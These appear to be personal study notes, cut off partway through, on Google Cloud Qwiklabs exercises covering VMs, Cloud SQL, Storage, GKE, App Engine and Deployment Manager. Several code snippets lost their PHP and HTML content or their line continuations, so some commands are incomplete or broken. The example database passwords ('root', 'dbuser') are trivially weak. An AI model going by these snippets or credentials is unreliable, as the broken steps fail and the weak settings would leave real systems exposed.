+date: 2021-01-02 11:11:11 -0400 +categories: [21GCP, GCPlab] +tags: [GCP] +toc: true +image: +--- + +- [Fundamental Lab 1](#fundamental-lab-1) + - [lab1 - Google Cloud Fundamentals: Cloud Marketplace](#lab1---google-cloud-fundamentals-cloud-marketplace) + - [Task 1: Sign in to the Google Cloud Platform (GCP) Console](#task-1-sign-in-to-the-google-cloud-platform-gcp-console) + - [Task 2: Use Cloud Marketplace to deploy a LAMP stack](#task-2-use-cloud-marketplace-to-deploy-a-lamp-stack) + - [Task 3: Verify your deployment](#task-3-verify-your-deployment) + - [lab2 - Google Cloud Fundamentals: Compute Engine](#lab2---google-cloud-fundamentals-compute-engine) + - [Task 1: Sign in to the Google Cloud Platform (GCP) Console](#task-1-sign-in-to-the-google-cloud-platform-gcp-console-1) + - [Task 2: Create a virtual machine using the GCP Console](#task-2-create-a-virtual-machine-using-the-gcp-console) + - [Task 3: Create a virtual machine using the gcloud command line](#task-3-create-a-virtual-machine-using-the-gcloud-command-line) + - [Task 4: Connect between VM instances](#task-4-connect-between-vm-instances) + - [lab3 - Google Cloud Fundamentals: Cloud Storage and Cloud SQL](#lab3---google-cloud-fundamentals-cloud-storage-and-cloud-sql) + - [Task 1: Sign in to the Google Cloud Platform (GCP) Console](#task-1-sign-in-to-the-google-cloud-platform-gcp-console-2) + - [Task 2: Deploy a web server VM instance](#task-2-deploy-a-web-server-vm-instance) + - [Task 3: Create a Cloud Storage bucket using the gsutil command line](#task-3-create-a-cloud-storage-bucket-using-the-gsutil-command-line) + - [Task 4: Create the Cloud SQL instance](#task-4-create-the-cloud-sql-instance) + - [Task 5: Configure an application in a Compute Engine instance to use Cloud SQL](#task-5-configure-an-application-in-a-compute-engine-instance-to-use-cloud-sql) + - [Task 6: Configure an application in a Compute Engine instance to use a Cloud Storage object](#task-6-configure-an-application-in-a-compute-engine-instance-to-use-a-cloud-storage-object) + - [lab4 - Google Cloud Fundamentals: GKE](#lab4---google-cloud-fundamentals-gke) + - [Task 1: Sign in to the Google Cloud Platform (GCP) Console](#task-1-sign-in-to-the-google-cloud-platform-gcp-console-3) + - [Task 2: Confirm that needed APIs are enabled](#task-2-confirm-that-needed-apis-are-enabled) + - [Task 3: Start a Kubernetes Engine cluster](#task-3-start-a-kubernetes-engine-cluster) + - [Task 4: Run and deploy a container](#task-4-run-and-deploy-a-container) + - [lab5 - Google Cloud Fundamentals: App Engine](#lab5---google-cloud-fundamentals-app-engine) + - [Set up your lab environment](#set-up-your-lab-environment) + - [Task 1: Initialize App Engine](#task-1-initialize-app-engine) + - [Task 2: Run Hello World application locally](#task-2-run-hello-world-application-locally) + - [Task 3: Deploy and run Hello World on App Engine](#task-3-deploy-and-run-hello-world-on-app-engine) + - [Task 4: Disable the application](#task-4-disable-the-application) + - [lab6 - Google Cloud Fundamentals: Deployment Manager and Cloud Monitoring](#lab6---google-cloud-fundamentals-deployment-manager-and-cloud-monitoring) + - [Task 1: Sign in to the Google Cloud Platform (GCP) Console](#task-1-sign-in-to-the-google-cloud-platform-gcp-console-4) + - [Task 2: Confirm that needed APIs are enabled](#task-2-confirm-that-needed-apis-are-enabled-1) + - [Task 3: Create a Deployment Manager deployment](#task-3-create-a-deployment-manager-deployment) + - [Task 4: Update a Deployment Manager deployment](#task-4-update-a-deployment-manager-deployment) + - [Task 5: View the Load on a VM using Cloud Monitoring](#task-5-view-the-load-on-a-vm-using-cloud-monitoring) + - [Create a Monitoring workspace](#create-a-monitoring-workspace) + - [lab7 - Google Cloud Fundamentals: BigQuery](#lab7---google-cloud-fundamentals-bigquery) + - [Task 1: Sign in to the Google Cloud Platform (GCP) Console](#task-1-sign-in-to-the-google-cloud-platform-gcp-console-5) + - [Task 2: Load data from Cloud Storage into BigQuery](#task-2-load-data-from-cloud-storage-into-bigquery) + - [Task 3: Perform a query on the data using the BigQuery web UI](#task-3-perform-a-query-on-the-data-using-the-bigquery-web-ui) + - [Task 4: Perform a query on the data using the bq command](#task-4-perform-a-query-on-the-data-using-the-bq-command) +- [Kubernetes Lab](#kubernetes-lab) + - [lab1 - Accessing the Google Cloud Console and Cloud Shell](#lab1---accessing-the-google-cloud-console-and-cloud-shell) + - [Task 0. Lab Setup](#task-0-lab-setup) + - [Task 1. Explore the Google Cloud Console](#task-1-explore-the-google-cloud-console) + - [Cloud Storage: create a bucket](#cloud-storage-create-a-bucket) + - [Create a virtual machine (VM) instance](#create-a-virtual-machine-vm-instance) + - [Explore the VM details](#explore-the-vm-details) + - [Create an IAM service account](#create-an-iam-service-account) + - [Task 2. Explore Cloud Shell](#task-2-explore-cloud-shell) + - [Open Cloud Shell and explore its features](#open-cloud-shell-and-explore-its-features) + - [Use Cloud Shell to set up the environment variables](#use-cloud-shell-to-set-up-the-environment-variables) + - [Move the credentials file into Cloud Shell](#move-the-credentials-file-into-cloud-shell) + - [Create a second Cloud Storage bucket](#create-a-second-cloud-storage-bucket) + - [Use the gcloud command line to create a second virtual machine](#use-the-gcloud-command-line-to-create-a-second-virtual-machine) + - [create a second service account](#create-a-second-service-account) + - [Task 3. Work with Cloud Storage in Cloud Shell](#task-3-work-with-cloud-storage-in-cloud-shell) + - [Download a file to Cloud Shell and copy it to Cloud Storage](#download-a-file-to-cloud-shell-and-copy-it-to-cloud-storage) + - [Set the access control list for a Cloud Storage object](#set-the-access-control-list-for-a-cloud-storage-object) + - [Authenticate as a service account in Cloud Shell](#authenticate-as-a-service-account-in-cloud-shell) + - [Task 4. Explore the Cloud Shell code editor](#task-4-explore-the-cloud-shell-code-editor) + - [Open the Cloud Shell code editor](#open-the-cloud-shell-code-editor) + - [lab2 - Working with Cloud Build](#lab2---working-with-cloud-build) + - [Task 0. Lab Setup](#task-0-lab-setup-1) + - [Task 1: Confirm that needed APIs are enabled](#task-1-confirm-that-needed-apis-are-enabled) + - [Task 2. Building Containers with DockerFile and Cloud Build](#task-2-building-containers-with-dockerfile-and-cloud-build) + - [Task 3. Building Containers with a build configuration file and Cloud Build](#task-3-building-containers-with-a-build-configuration-file-and-cloud-build) + - [Task 4. Building and Testing Containers with a build configuration file and Cloud Build](#task-4-building-and-testing-containers-with-a-build-configuration-file-and-cloud-build) + +--- + +# Fundamental Lab 1 + +Lab for [Google Cloud Platform Fundamentals: Core Infrastructure](https://www.coursera.org/learn/gcp-fundamentals/home/welcome) + +--- + +## lab1 - Google Cloud Fundamentals: Cloud Marketplace + + +use Cloud Marketplace to quickly and easily deploy a LAMP stack on a Compute Engine instance. +- The Bitnami LAMP Stack provides a complete web development environment for Linux that can be launched in one click. + +| Component | Role | +| Linux | Operating system | +| Apache HTTP Server | Web server | +| MySQL | Relational database | +| PHP | Web application framework | +| phpMyAdmin | PHP administration tool | + +[Bitnami LAMP Stack Documentation](https://docs.bitnami.com/google/infrastructure/lamp). + +--- + +### Task 1: Sign in to the Google Cloud Platform (GCP) Console + + +### Task 2: Use Cloud Marketplace to deploy a LAMP stack + +1. GCP Console > **Navigation menu** > **Marketplace**. + +2. In the search bar + - type and click **LAMP Certified by Bitnami**. + - On the LAMP page, click **Launch**. + +3. Leave the remaining settings as their defaults. + +4. Click **Deploy**. + + +### Task 3: Verify your deployment + + +1. When the deployment is complete, click the **Site address** link in the right pane. + +2. On the GCP Console, under **Get started with LAMP Certified by Bitnami**, click **SSH**. + - a secure login shell session on your virtual machine appears. + +```bash +# change the current working directory to `/opt/bitnami`, execute the following command: +cd /opt/bitnami + + +# To copy the `phpinfo.php` script from the installation directory to a publicly accessible location under the web server document root +sudo sh -c 'echo "" > apache2/htdocs/phpinfo.php' + +# The phpinfo.php script displays your PHP configuration. +# It is often used to verify a new PHP installation. + +# close the SSH window +exit +``` + +3. Open a new browser tab. `https://SITE_ADDRESS/phpinfo.php` + - A summary of the PHP configuration of your server is displayed. + +4. Close the **phpinfo** tab. + +--- + + + + +## lab2 - Google Cloud Fundamentals: Compute Engine + +perform the following tasks: + +* Create a Compute Engine virtual machine using the Google Cloud Platform (GCP) Console. + +* Create a Compute Engine virtual machine using the gcloud command-line interface. + +* Connect between the two instances. + +--- + +### Task 1: Sign in to the Google Cloud Platform (GCP) Console + + +### Task 2: Create a virtual machine using the GCP Console + +1. In the **Navigation menu** > **Compute Engine** > **VM instances**. +2. Click **Create**. +3. On the **Create an Instance** page + 1. for **Name**, type `my-vm-1` + 2. For **Region** and **Zone**, select the region and zone assigned by Qwiklabs. + 3. For **Machine type**, accept the default. + 4. For **Boot disk**, if the **Image** shown is not **Debian GNU/Linux 9 (stretch)**, click **Change** and select **Debian GNU/Linux 9 (stretch)**. +4. Leave the defaults for **Identity and API access** unmodified. +5. For Firewall, click **Allow HTTP traffic**. +6. Leave all other defaults unmodified. +7. To create and launch the VM, click **Create**. + + +### Task 3: Create a virtual machine using the gcloud command line + +1. In GCP console, on the top right toolbar, click the **Open Cloud Shell button** > **Continue** + +```bash +# display a list of all the zones in the region to which Qwiklabs assigned you +gcloud compute zones list | grep us-central1 +# us-central1-c us-central1 UP +# us-central1-a us-central1 UP +# us-central1-f us-central1 UP +# us-central1-b us-central1 UP + +# Choose a zone from that list other than the zone to which Qwiklabs assigned you. For example, if Qwiklabs assigned you to region `us-central1` and zone `us-central1-a` you might choose zone `us-central1-b`. + +# To set your default zone to the one you just chose, enter this partial command `gcloud config set compute/zone` followed by the zone you chose. +gcloud config set compute/zone us-central1-b + + +# To create a VM instance called **my-vm-2** in that zone, execute this command: + +gcloud compute instances create "my-vm-2" + --machine-type "n1-standard-1" + --image-project "debian-cloud" + --image "debian-9-stretch-v20190213" + --subnet "default" +# NAME ZONE MACHINE_TYPE PREEMPTIBLE INTERNAL_IP EXTERNAL_IP STATUS +# my-vm-2 us-central1-b n1-standard-1 10.128.0.3 35.184.46.186 RUNNING + +# To close the Cloud Shell, execute the following command: +exit +``` + + +### Task 4: Connect between VM instances + +1. In the **Navigation menu** > **Compute Engine > VM instances**. + - two VM instances in a different zone. + - Notice that the Internal IP addresses of these two instances share the first three bytes in common. + - They reside on the same subnet in their Google Cloud VPC even though they are in different zones. + +2. To open a command prompt on the **my-vm-2** instance, click **SSH** in its row in the **VM instances** list. + +```bash + +# confirm that **my-vm-2** can reach **my-vm-1** over the network: +ping my-vm-1.us-central1-a +# the complete hostname of **my-vm-1** is **my-vm-1.us-central1-a.c.PROJECT_ID.internal**, where PROJECT_ID is the name of your Google Cloud Platform project. GCP automatically supplies Domain Name Service (DNS) resolution for the internal IP addresses of VM instances. + +# Use the **ssh** command to open a command prompt on **my-vm-1**: +ssh my-vm-1.us-central1-a + +# install the Nginx web server: +sudo apt-get install nginx-light -y + + +# add a custom message to the home page of the web server: +sudo nano /var/www/html/index.nginx-debian.html + + +# below the `h1` header. Add text like this, and replace YOUR_NAME with your name: +Hi from YOUR_NAME +# Press **Ctrl+O** and then press **Enter** to save your edited file, and then press **Ctrl+X** to exit the nano text editor. + +# Confirm that the web server is serving your new page. +# At the command prompt on **my-vm-1**, execute this command: +curl https://localhost/ + +# exit the command prompt on **my-vm-1**, execute this command: +exit + + +# return to the command prompt on **my-vm-2** + + +# confirm that **my-vm-2** can reach the web server on **my-vm-1**, at the command prompt on **my-vm-2**, execute this command: +curl https://my-vm-1.us-central1-a/ +``` + +2. In the **Navigation menu** > **Compute Engine > VM instances**. + +3. Copy the External IP address for **my-vm-1** and paste it into the address bar of a new browser tab. You will see your web server's home page, including your custom text. + - If you forgot to click **Allow HTTP traffic** when you created the **my-vm-1** VM instance, your attempt to reach your web server's home page will fail. You can add a [firewall rule](https://cloud.google.com/vpc/docs/firewalls) to allow inbound traffic to your instances, although this topic is out of scope for this course. + + +--- + + +## lab3 - Google Cloud Fundamentals: Cloud Storage and Cloud SQL + + +* Create a Cloud Storage bucket and place an image into it. + +* configure an application running in Compute Engine to use a database managed by Cloud SQL. + +* configure a web server with PHP, a web development environment that is the basis for popular blogging softwar, Connect to the Cloud SQL instance from a web server. + +* Use the image in the Cloud Storage bucket on a web page. + +--- + +### Task 1: Sign in to the Google Cloud Platform (GCP) Console + +### Task 2: Deploy a web server VM instance + +1. GCP Console > **Navigation menu** > **Compute Engine** > **VM instances**. + +2. Click **Create**. + +3. On the **Create an Instance** page, + 1. for **Name**, type `bloghost` + 2. For **Region** and **Zone**, select the region and zone assigned by Qwiklabs. + 3. For **Machine type**, accept the default. + 4. For **Boot disk**, if the **Image** shown is not **Debian GNU/Linux 9 (stretch)**, click **Change** and select **Debian GNU/Linux 9 (stretch)**. + 5. Leave the defaults for **Identity and API access** unmodified. + 6. For **Firewall**, click **Allow HTTP traffic**. + 7. Click **Management, security, disks, networking, sole tenancy** to open that section of the dialog. + 8. Enter the following script as the value for **Startup script**: + +```bash +apt-get update +apt-get install apache2 php php-mysql -y +service apache2 restart +``` + +4. Leave the remaining settings as their defaults, and click **Create**. + +5. On the **VM instances** page, copy the **bloghost** VM instance's internal and external IP addresses: + - Internal IP 10.128.0.2 (nic0) + - External IP 35.232.96.34 + + +### Task 3: Create a Cloud Storage bucket using the gsutil command line + +All Cloud Storage bucket names must be globally unique. +- To ensure that your bucket name is unique, these instructions will guide you to give your bucket the same name as your Cloud Platform project ID, which is also globally unique. +- Cloud Storage buckets can be associated with either a region or a multi-region location: **US**, **EU**, or **ASIA**. +- In this activity, you associate your bucket with the multi-region closest to the region and zone that Qwiklabs or your instructor assigned you to. + + +1. On the **Google Cloud Platform** menu, click **Activate Cloud Shell** ![Activate Cloud Shell](https://cdn.qwiklabs.com/sqKx45X8b2P7ygEtesyerKaHyXQGXOYNqXOqo%2Bl8nDA%3D). If a dialog box appears, click **Start Cloud Shell**. + +```bash +# enter your chosen location into an environment variable called LOCATION. Enter one of these commands: +export LOCATION=US +# export LOCATION=EU +# export LOCATION=ASIA + + +# In Cloud Shell, the DEVSHELL_PROJECT_ID environment variable contains your project ID. +echo $$DEVSHELL_PROJECT_ID + + +# to make a bucket named after your project ID: +gsutil mb -l $LOCATION gs://$DEVSHELL_PROJECT_ID +# Creating gs://qwiklabs-gcp-00-9740a5240906/... + + +# Retrieve a banner image from a publicly accessible Cloud Storage location: +gsutil cp gs://cloud-training/gcpfci/my-excellent-blog.png my-excellent-blog.png + + +# Copy the banner image to your newly created Cloud Storage bucket: +gsutil cp my-excellent-blog.png gs://$DEVSHELL_PROJECT_ID/my-excellent-blog.png + + +# Modify the Access Control List of the object you just created so that it is readable by everyone: +gsutil acl ch -u allUsers:R gs://$DEVSHELL_PROJECT_ID/my-excellent-blog.png +``` + + +### Task 4: Create the Cloud SQL instance + +1. GCP Console > **Navigation menu** > **SQL**. + +2. Click **Create instance**. + 1. For **Choose a database engine**, select **MySQL**. + 2. For **Instance ID,** type **blog-db**, + 3. for **Root password** type a password of your choice. `root` + 4. Set the region and zone assigned by Qwiklabs. + - same region and zone into which you launched the **bloghost** instance. + - The best performance is achieved by placing the client and the database close to each other. +3. Click **Create**. + +4. Click on the name of the instance, **blog-db**, to open its details page. + +5. From the SQL instances details page + - the **Public IP address** for your SQL instance: `34.69.146.67` + +6. Click on **Users** menu on the left-hand side, click **ADD USER ACCOUNT**. + +7. For **User name**, type `blogdbuser` + +8. For **Password**, type a password of your choice. `dbuser` + +9. Click **ADD** to add the user account in the database. + +10. Click the **Connections** tab + - click **Add network**. + - If you are offered the choice between a **Private IP** connection and a **Public IP** connection, choose **Public IP** for purposes of this lab. + + 1. For **Name**, type `web front end` + + 2. For **Network**, type the external IP address of your **bloghost** VM instance, followed by `/32` + - `35.232.96.34/32` + - Be sure to use the external IP address of your VM instance followed by `/32`. + - Do not use the VM instance's internal IP address. + - Do not use the sample IP address shown here. + +11. Click **Done** to finish defining the authorized network. + +12. Click **Save** to save the configuration change. + + + +### Task 5: Configure an application in a Compute Engine instance to use Cloud SQL + +1. On the **Navigation menu** > **Compute Engine** > **VM instances**. + +2. In the VM instances list, click **SSH** in the row for your VM instance **bloghost**. + +```bash +# In your ssh session on **bloghost** + +# change your working directory to the document root of the web server: +cd /var/www/html + + +# Use the **nano** text editor to edit a file called **index.php**: +sudo nano index.php + + +# Paste the content below into the file: +# +# Welcome to my excellent blog +# +#

    Welcome to my excellent blog

    +# +# +# Press **Ctrl+O**, and then press **Enter** to save your edited file. +# Press **Ctrl+X** to exit the nano text editor. + + +# In a later step, you will insert your Cloud SQL instance's IP address and your database password into this file. + +# Restart the web server: +sudo service apache2 restart + + +# Open a new web browser tab and paste into the address bar your **bloghost** VM instance's external IP address followed by **/index.php**. +# The URL will look like this: +35.232.96.34/index.php +# Be sure to use the external IP address of your VM instance followed by /index.php. +# Do not use the VM instance's internal IP address. Do not use the sample IP address shown here. + + +# When you load the page, you will see that its content includes an error message beginning with the words: +Database connection failed: php_network_getaddresses: getaddrinfo failed: Name or service not known +# This message occurs because you have not yet configured PHP's connection to your Cloud SQL instance. + + +# Return to your ssh session on **bloghost**. Use the **nano** text editor to edit **index.php** again. +sudo nano index.php + + +# replace `CLOUDSQLIP` with the Cloud SQL instance Public IP address 34.69.146.67 + +# replace `DBPASSWORD` with the Cloud SQL database password that you defined above. Leave the quotation marks around the value in place. + +# Press **Ctrl+O**, and then press **Enter** to save your edited file. + +# Press **Ctrl+X** to exit the nano text editor. + +# Restart the web server: +sudo service apache2 restart + + +# Return to the web browser tab in which you opened your **bloghost** VM instance's external IP address. When you load the page, the following message appears: +Database connection succeeded. +``` + +![Screen Shot 2021-02-10 at 02.17.27](https://i.imgur.com/mzmZ1nf.png) + + +> In an actual blog, the database connection status would not be visible to blog visitors. +> Instead, the database connection would be managed solely by the administrator. + + +### Task 6: Configure an application in a Compute Engine instance to use a Cloud Storage object + +1. In the GCP Console, click **Storage > Browser**. + +2. Click on the bucket that is named after your GCP project. + +3. In this bucket, there is an object called **my-excellent-blog.png**. + - Copy the URL behind the link icon that appears in that object's **Public access** column, or behind the words "Public link" if shown. + +4. Return to your ssh session on your **bloghost** VM instance. + +```bash +# set your working directory to the document root of the web server: +cd /var/www/html + + +# Use the **nano** text editor to edit **index.php**: +sudo nano index.php + + +# Use the arrow keys to move the cursor to the line that contains the **h1** element. Press **Enter** to open up a new, blank screen line, and then paste the URL you copied earlier into the line. + +# Paste this HTML markup immediately before the URL: + + +# The effect of these steps is to place the line containing `` immediately before the line containing `

    ...

    ` + +# Press **Ctrl+O**, and then press **Enter** to save your edited file. +# Press **Ctrl+X** to exit the nano text editor. + + +# Restart the web server: +sudo service apache2 restart +``` + +5. Return to the web browser tab in which you opened your **bloghost** VM instance's external IP address. When you load the page, its content now includes a banner image. +35.232.96.34/index.php + + +--- + + +## lab4 - Google Cloud Fundamentals: GKE + +* Provision a [Kubernetes](https://kubernetes.io) cluster using [Kubernetes Engine.](https://cloud.google.com/container-engine), which containing several containers, +* Deploy and manage Docker containers using `kubectl`. +* each containing a web server. +* place a load balancer in front of the cluster and view its contents. + + + +### Task 1: Sign in to the Google Cloud Platform (GCP) Console + + +### Task 2: Confirm that needed APIs are enabled + +1. GCP Console > **Navigation menu** > **APIs & Services**. + +2. confirm that both of these APIs are enabled: + * Kubernetes Engine API + * Container Registry API + +> If either API is missing, click **Enable APIs and Services** at the top. +> Search for the above APIs by name and enable each for your current project. (You noted the name of your GCP project above.) + + +### Task 3: Start a Kubernetes Engine cluster + +1. In GCP console, Open Cloud Shell button. + +```bash +# place the zone that Qwiklabs assigned you to into an environment variable called MY\_ZONE. +export MY_ZONE=us-central1-a + +# Start a Kubernetes cluster managed by Kubernetes Engine. +# Name the cluster **webfrontend** and configure it to run 2 nodes: +# The `gcloud container clusters create` command automatically authenticated `kubectl` for you +gcloud container clusters create webfrontend \ + --zone $MY_ZONE \ + +# check your installed version of Kubernetes using the `kubectl version` command: +kubectl version +# Client Version: version.Info{Major:"1", Minor:"20", GitVersion:"v1.20.2", GitCommit:"faecb196815e248d3ecfb03c680a4507229c2a56", GitTreeState:"clean", BuildDate:"2021-01-13T13:28:09Z", GoVersion:"go1.15.5", Compiler:"gc", Platform:"linux/amd64"} +# Server Version: version.Info{Major:"1", Minor:"17+", GitVersion:"v1.17.14-gke.1600", GitCommit:"7c407f5cc8632f9af5a2657f220963aa7f1c46e7", GitTreeState:"clean", BuildDate:"2020-12-07T09:22:27Z", GoVersion:"go1.13.15b4", Compiler:"gc", Platform:"linux/amd64"} +``` + +2. View your running nodes in the GCP Console. + - On the **Navigation menu** > **Compute Engine > VM Instances** + - Your Kubernetes cluster is now ready for use. + + + +### Task 4: Run and deploy a container + +1. From your Cloud Shell prompt + +```bash + +# launch a single instance of the nginx container. (Nginx is a popular web server.) +kubectl create deploy nginx --image=nginx:1.17.10 + +# In Kubernetes, all containers run in pods. +# `kubectl create` command caused Kubernetes to create a deployment consisting of a single pod containing the nginx container. +# A Kubernetes deployment keeps a given number of pods up and running even in the event of failures among the nodes on which they run. +# In this command, you launched the default number of pods, which is 1. + + +# View the pod running the nginx container: +kubectl get pods + + +# Expose the nginx container to the Internet: +kubectl expose deployment nginx \ + --port 80 \ + --type LoadBalancer +# Kubernetes created a service and an external load balancer with a public IP address attached to it. +# The IP address remains the same for the life of the service. +# Any network traffic to that public IP address is routed to pods behind the service: in this case, the nginx pod. + + +# View the new service: +kubectl get services +# NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +# kubernetes ClusterIP 10.51.240.1 443/TCP 2m56s +# nginx LoadBalancer 10.51.240.74 35.238.104.4 80:32037/TCP 72s + +# use the displayed cluster external IP address to test and contact the nginx container remotely. +# The default home page of the Nginx browser is displayed. + + +# Scale up the number of pods running on your service: +kubectl scale deployment nginx \ + --replicas 3 + +# Confirm that Kubernetes has updated the number of pods: +kubectl get pods +# NAME READY STATUS RESTARTS AGE +# nginx-5df596bbf9-f44rf 1/1 Running 0 4s +# nginx-5df596bbf9-jv5tl 0/1 ContainerCreating 0 4s +# nginx-5df596bbf9-lw72z 1/1 Running 0 65s + +# Confirm that your external IP address has not changed: +kubectl get services +``` + +9. Return to the web browser tab in which you viewed your cluster's external IP address. Refresh the page to confirm that the nginx web server is still responding. + + +![Screen Shot 2021-02-10 at 13.14.27](https://i.imgur.com/Sdz4hc7.png) + + +![Screen Shot 2021-02-10 at 13.13.53](https://i.imgur.com/L6qokci.png) + +--- + + + +## lab5 - Google Cloud Fundamentals: App Engine + + +* create and deploy a simple App Engine application using a virtual environment in the Google Cloud Shell. +* Initialize App Engine. +* Preview an App Engine application running locally in Cloud Shell. +* Deploy an App Engine application, so that others can reach it. +* Disable an App Engine application, when you no longer want it to be visible. + + +Set up your lab environment +--- + +> Google Cloud Shell is a virtual machine that is loaded with development tools. +> It offers a persistent 5GB home directory and runs on the Google Cloud. +> Google Cloud Shell provides command-line access to your GCP resources. + +1. In GCP console > Open Cloud Shell button + +```bash +# **gcloud** is the command-line tool for Google Cloud Platform. +# It comes pre-installed on Cloud Shell and supports tab-completion. + +# You can list the active account name with this command: +gcloud auth list +# Credentialed Accounts +# ACTIVE ACCOUNT +# * student-01-6fde9fef7b3f@qwiklabs.net + + +# list the project ID with this command: +gcloud config list project +# [core] +# project = qwiklabs-gcp-01-6b2d0e98cfd3 +# Your active configuration is: [cloudshell-21125] +``` + +### Task 1: Initialize App Engine + + +```bash +# 1. Initialize your App Engine app with your project and choose its region: +gcloud app create \ + --project=$DEVSHELL_PROJECT_ID + +# 2. Clone the source code repository for a sample application in the **hello\_world** directory: +git clone https://github.com/GoogleCloudPlatform/python-docs-samples + + +# 3. Navigate to the source directory: +cd python-docs-samples/appengine/standard_python3/hello_world +``` + + +### Task 2: Run Hello World application locally + +1. run the Hello World application in a local, virtual environment in Cloud Shell. + +```bash +# Cloud Shell command prompt. + +# 1. Execute the following command to download and update the packages list. +sudo apt-get update -y + +# 2. Set up a virtual environment in which you will run your application. Python virtual environments are used to isolate package installations from the system. +sudo apt-get install virtualenv -y +virtualenv -p python3 venv + +# 3. Activate the virtual environment. +source venv/bin/activate + +# 4. Navigate to your project directory and install dependencies. +pip install -r requirements.txt + +# 5. Run the application: +python main.py +``` + + +2. In **Cloud Shell**, click **Web preview** (![Web Preview](https://cdn.qwiklabs.com/7b9oXblGsiFuNK7hmDZjFB%2B7Lrwdv5T64bbmo8X9FAo%3D)) > **Preview on port 8080** to preview the application. + +Result: + +![hello_world.png](https://cdn.qwiklabs.com/vTRhzjVoW3LX%2BaFG6ox7ZExJHDQvTdMK8fAyRGBQCDQ%3D) + + +7. To end the test, return to Cloud Shell and press **Ctrl+C** to abort the deployed service. + +8. Using the Cloud Console, verify that the app is not deployed. + - In the Cloud Console, on the **Navigation menu** > click **App Engine** > **Dashboard**. + - Notice that no resources are deployed. + + +### Task 3: Deploy and run Hello World on App Engine + +deploy your application to the App Engine Standard environment: + +```bash +# 1. Navigate to the source directory: +cd ~/python-docs-samples/appengine/standard_python3/hello_world + + +# 2. Deploy your Hello World application. +gcloud app deploy +# If prompted "Do you want to continue (Y/n)?", press `Y` and then `Enter`. +# This **app deploy** command uses the _app.yaml_ file to identify project configuration. + + +# 3. Launch your browser to view the app at https://YOUR\_PROJECT\_ID.appspot.com +gcloud app browse +# Did not detect your browser. Go to this link to view your app: +# https://qwiklabs-gcp-01-cb45b5df9cfb.uc.r.appspot.com + + +# Copy and paste the URL into a new browser window. +``` + +- Result: + - ![disable-app.png](https://cdn.qwiklabs.com/fnmJeOzuz%2BgxMdMg175OIbQRE84kwir5fKVcB1kXihg%3D) + + + + +### Task 4: Disable the application + + +> App Engine offers no option to **Undeploy** an application. +> After an application is deployed, it remains deployed, although you could instead replace the application with a simple page that says something like "not in service." +> However, you can disable the application, which causes it to no longer be accessible to users. + + +1. Cloud Console,> **Navigation menu** > click **App Engine** > **Settings**. + +2. Click **Disable application**. + +3. Read the dialog message. + - Enter the **App ID** and click **DISABLE**. + +4. If you refresh the browser window you used to view to the application site, you'll get a 404 error. + - ![f17c85cf862ddae3.png](https://cdn.qwiklabs.com/jVzvehqMDLGdJxcGG6aHjrT1zG6SRd443bZo%2BTO383I%3D) + + +--- + + + + +## lab6 - Google Cloud Fundamentals: Deployment Manager and Cloud Monitoring + +* Create a Deployment Manager deployment. +* Update a Deployment Manager deployment. +* use it to maintain a consistent state of your deployment +* View the load on a VM instance using Cloud Monitoring. + + +### Task 1: Sign in to the Google Cloud Platform (GCP) Console + + +### Task 2: Confirm that needed APIs are enabled + +1. GCP Console, on the **Navigation menu** > click **APIs & services** + - confirm that these APIs are enabled: + - Cloud Deployment Manager v2 API + - Cloud Runtime Configuration API + - Cloud Monitoring API + +> If one or more APIs is missing, click the **Enable APIs and Services** button at top. Search for the above APIs by name and enable each for your current project. (You noted the name of your GCP project above.) + + +### Task 3: Create a Deployment Manager deployment + +1. GCP console > Open Cloud Shell button > **Continue** + +```bash +# place the zone that Qwiklabs assigned you to into an environment variable called MY\_ZONE. +export MY_ZONE=us-central1-a + + +# download an editable Deployment Manager template: +gsutil cp gs://cloud-training/gcpfcoreinfra/mydeploy.yaml mydeploy.yaml + + +# use the sed command to +# replace the `PROJECT_ID` placeholder string with your Google Cloud Platform project ID +sed -i -e "s/PROJECT_ID/$DEVSHELL_PROJECT_ID/" mydeploy.yaml + +# replace the `ZONE` placeholder string with your Google Cloud Platform zone +sed -i -e "s/ZONE/$MY_ZONE/" mydeploy.yaml + +# View the `mydeploy.yaml` file, with your modifications, with this command: +cat mydeploy.yaml + + +# The file will look something like this: +resources: +- name: my-vm + type: compute.v1.instance + properties: + zone: us-central1-a + machineType: zones/us-central1-a/machineTypes/n1-standard-1 + metadata: + items: + - key: startup-script + value: "apt-get update" + disks: + - deviceName: boot + type: PERSISTENT + boot: true + autoDelete: true + initializeParams: + sourceImage: https://www.googleapis.com/compute/v1/projects/debian-cloud/global/images/debian-9-stretch-v20201216 + networkInterfaces: + - network: https://www.googleapis.com/compute/v1/projects/qwiklabs-gcp-00-45b1c5d64828/global/networks/default + accessConfigs: + - name: External NAT + type: ONE_TO_ONE_NAT + + +# Build a deployment from the template: +gcloud deployment-manager deployments create my-first-depl \ + --config mydeploy.yaml +# When the deployment operation is complete +# the **gcloud** command displays a list of the resources named in the template and their current state. +# NAME TYPE STATE ERRORS INTENT +# my-vm compute.v1.instance COMPLETED [] + + +``` + +2. Confirm that the deployment was successful. + - In the GCP Console, on the **Navigation menu** > click **Compute Engine > VM instances** + - see that a VM instance called **my-vm** has been created + - Click on the VM instance's name to open its VM instance details screen. + - **Custom metadata** section + - Confirm that the startup script you specified in your Deployment Manager template has been installed. + + +### Task 4: Update a Deployment Manager deployment + +1. Return to your Cloud Shell prompt. + +```bash +# Launch the `nano` text editor to edit the **mydeploy.yaml** file: +nano mydeploy.yaml + +# Find the line that sets the value of the startup script +"apt-get update; apt-get install nginx-light -y" + +# Press **Ctrl+O** and then press **Enter** to save your edited file. +# Press **Ctrl+X** to exit the **nano** text editor. + + +# let Deployment Manager to update the deployment to install the new startup script: +gcloud deployment-manager deployments update my-first-depl \ + --config mydeploy.yaml +``` + + +2. GCP console > **Navigation menu** > click **Compute Engine > VM instances** + - Click on the **my-vm** VM instance's name to open its **VM instance details** pane + - **Custom metadata** section. + - Confirm that the startup script has been updated to the value you declared in your Deployment Manager template. + + + +### Task 5: View the Load on a VM using Cloud Monitoring + +1. GCP Console > **Navigation menu** > click **Compute Engine** > **VM instances**. + +2. Select the checkbox for **my-vm** and click on **STOP**. + - Click on **STOP** again to confirm. + +3. Click on the VM instance's name to open its VM instance details screen. + - Click on **EDIT (pencil icon)**. + - Scroll down to the bottom of the page + - Service account dropdown. + - select **Compute Engine default service account** + - Access scopes. + - Select **Allow full access to all Cloud APIs** + - Click on **Save**. + +4. restart the VM by clicking on **Start** at the top of the VM instance details screen page. + +5. Click on **START** again to confirm. + +6. GCP Console > **Navigation menu** > click **Compute Engine** > **VM instances**. + +7. To open a command prompt on 